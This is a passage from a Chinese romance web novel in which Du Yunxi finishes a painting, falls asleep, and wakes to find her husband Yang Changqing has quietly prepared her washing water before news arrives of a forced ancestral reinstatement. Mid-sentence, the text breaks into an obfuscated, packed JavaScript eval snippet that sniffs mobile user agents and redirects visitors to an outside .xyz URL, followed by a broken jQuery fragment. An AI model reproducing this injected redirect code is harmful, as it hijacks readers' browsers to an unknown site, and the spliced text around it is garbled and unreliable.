山里的夜晚暑气消散得很快,在杜筠溪落下最后一笔,大功告成之时,从竹窗吹进来的风已经变得冰凉如水。
她将画纸小心翼翼地平铺在桌案上晾干墨迹,又用沉甸甸的镇纸压住一角。烛火的灯芯恰好噼啪一声,爆出一团极亮的光芒。
正在闭目养神的扬长青被刺了一下眼睛,他睁开眼,发现已经结束。
“你该休息了。”在烛火重新恢复正常光亮的前一刻,他看到了女郎淡淡的倦容。
那是一种因为过于专注而透支精力的疲倦。
杜筠溪用手掩唇,小小地打了个哈欠。她现在确实很想倒头就睡。
等她放下手,就看到对面的男人正目不转睛地看着自己。杜筠溪往后靠在椅背上,不明所以:“棠公子,怎么了?”
扬长青忽略掉这不恰当的称呼,倾身过来,如水墨画般的眉眼覆着冰霜般,清隽又透着冷冽,在女郎屏息盯视之下,慢慢地伸出手。
杜筠溪下意识地别过脸,冰凉的手指抵住她的脸颊软肉,他一边冷声说着“别动”,一边用指尖帮她抹去脸上沾惹着的墨点。
然后手心朝上,给她瞧个清楚。
杜筠溪缓回心神,垂眸,看到男人修长如玉的手指上染着墨色和深蓝色,他就着这个姿势,轻声说道:“我刚才把你的脸弄脏了。”
一定是跟花猫一样了。
杜筠溪微微睁大眼睛,郎君这是什么意思?!
“我去给你打水洗脸,洗干净再去睡觉。”扬长青松开手,转身出去。
看着他离去的背影,杜筠溪后知后觉,伸出自己刚才握画笔的手,手指上果然染着墨迹。她刚才打哈欠,把这些墨汁弄到脸上了。
其实不用这么麻烦的。因为困顿,杜筠溪感觉自己反应都变得慢慢的,她来不及阻止他,只能用手撑着脸颊,靠在桌案边上等他回来。
眼皮沉沉垂下的时候,烛影轻轻一晃,一道修长挺拔的身影倒映在竹屏上。
棠寒英手指握着佩剑,立在三步之远,看着女郎低垂下来的睡颜,他没有再往前一步,就这般就着烛灯,默然凝视。
如水般的目光流连在脸庞上。杜筠溪迷迷糊糊间,感觉好像有冷水滴在自己眉心,蜿蜒而下,带来酥酥痒痒的湿滑。
她下意识地伸手抹了一把脸,同时睁开眼,什么都没有,仿佛一切都是幻觉。
她怔然地看着手指,原本只是点墨,现在被晕划成一条条细线。
这下非洗脸不可了。
扬长青捧着木盆和干净的巾帕过来。他看到女郎那墨色晕染开更多的脸庞,微顿了一下。终究什么都没有问,他将巾帕浸湿,拧干,然后转身走过去。
杜筠溪见他架势,好像还要帮自己擦脸。她一个激灵,完全清醒了过来。
有点不太对劲。
杜筠溪伸手,直接从他手中将巾帕扯过来,好在他没有坚持,很快就松开了手指。
他站在旁边,垂眸看着她一点点地将脸上的墨渍擦拭干净,重新露出湿润莹白的脸蛋。杜筠溪将巾帕拿下来一看,果然黑了一片。
扬长青将巾帕收回来,连带着那盆水一起端出去。等他回来,女郎已经心大地抱着枕头睡在了床榻上。
她应该是困极了,只是脱了鞋子,就这样和衣而睡。
已经睡了一下午的扬长青此刻并不困,他怕过多的注视会惊扰她的睡眠,转身走到桌案边上。
他坐在她刚才坐过的椅子上,守着桌案上的画卷。
杜筠溪这一夜睡得很沉。或许是作画耗费了太多精力,等她醒来的时候,阳光都已洒入屋内。
她连忙起床,稍微整理了一下衣襟,这里没有准备换洗的衣物,只能等回到棠府再换了。她先去桌案边检查,见昨夜辛苦所描摹的画像安然无恙地摆放在上面,她松了一口气。
杜筠溪走到洗手木架边上,发现木盆里已经打好了干净的井水,雪白的巾帕也垂挂在一旁,洗漱要用到的准备得一应俱全。
嫁入棠府后,杜筠溪不习惯被人伺候,就拒绝了祖母给她安排的贴身丫鬟,所以这些都是她亲力亲为准备的。现在忽然有人帮她都准备好这些,她顿了顿,将手试探地放入木盆里。
是正常的水,巾帕上也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333552|183359||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有多余的东西。
她将信将疑地洗漱好,推开门走出去,就看到棠公子正在和谢池草谈话。
因为她的出现,他们结束了谈话,扬长青下意识地朝她大步走来。
他不动声色地打量了她一番,见她已经恢复气色,看来昨夜睡得还好。
“夫君,是你让人帮忙准备洗漱的那些东西吗?”有外人在,杜筠溪又唤他夫君。
扬长青神思晃了晃,他别开视线,可有可无地嗯了一声。没有说都是他亲手准备的。
早在父亲答应要去为他提亲的时候,他就在悄悄琢磨着要如何当好阿筠的夫君了。他年纪比她小,只能用冷脸装成熟,如果真的成了夫妻,他还有好多地方要学。
他不想阿筠对自己失望。
但他没有想到,阿筠直接不要他了。
杜筠溪斟酌着用词,她不想拂了他心血来潮要照顾自己的好意,但她确实不习惯多个人侵入自己的生活中。
“其实不用劳烦的,我自己可以。”杜筠溪一边柔声说着,一边看他的反应,见他蹙眉,只好又补救道,“不过,还是要谢谢你安排这些。”
哎,她果然还是不习惯得罪人。
扬长青垂着眉眼,忍不住朝她逼近了一步。
杜筠溪又下意识地屏住呼吸,她发现了,性情有所变化的棠公子好像喜欢贴近自己。
但他的贴近,拿捏得很有分寸,不会让她产生什么冒犯感,顶多只是引发紧张。
扬长青不想吓到这个温柔美人,只能勉强克制住。原本想坦白让他照顾她的话到嘴边,他换成了说正事:“我们该回去了。”
杜筠溪不解地微微歪了歪脑袋:“嗯?”
灿烂的阳光洒在女郎润白的脸庞上,她那双温柔的眼睛因为刚刚洗漱过显得水润润。她没有设防的样子,让扬长青的心失跳了一瞬。
他错开视线,极力保持镇定,眉眼冷冷清清地说道:“派出去盯梢的暗卫遇到了国舅爷辛卫天的人。他准备等我们一回府,就直接让我认祖归宗。听说连香炉家谱和牌位都直接摆在了棠府门前,声势浩大。”